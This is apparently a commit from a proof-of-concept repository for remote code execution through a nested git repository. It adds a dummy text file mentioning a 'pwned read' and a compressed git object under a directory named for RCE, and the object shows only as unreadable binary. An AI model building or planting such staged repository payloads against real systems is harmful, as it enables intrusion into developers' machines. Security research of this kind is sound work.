poc: add 3rd file on writer before read

api_dummy_3.txt

@@ -0,0 +1 @@
+third dummy via API (before pwned read).

nested/rce-eecc0ba5-1.git/objects/2c/75676cb602b861f13c50f8ac7e25ab6286fbc3

@@ -0,0 +1,4 @@
+x
�ÎÍ
+Â0`ÏyŠ½’槛=zó¶ÉF‹­)!‚�o/½;§aàƒ‰ežÇÆš]«"`��æ$‰N˜lHÇÑ’�˜µw“SWy7Р3Î[—<›ìe 
+‚ÙJb��Sì0‘âO{–
+ÜÇ—T8mí"_ž—I±Ìgè0 îÉa{½F­ëz°­bSµ”x„RP£Àõ~ƒ<N¢~öeI¼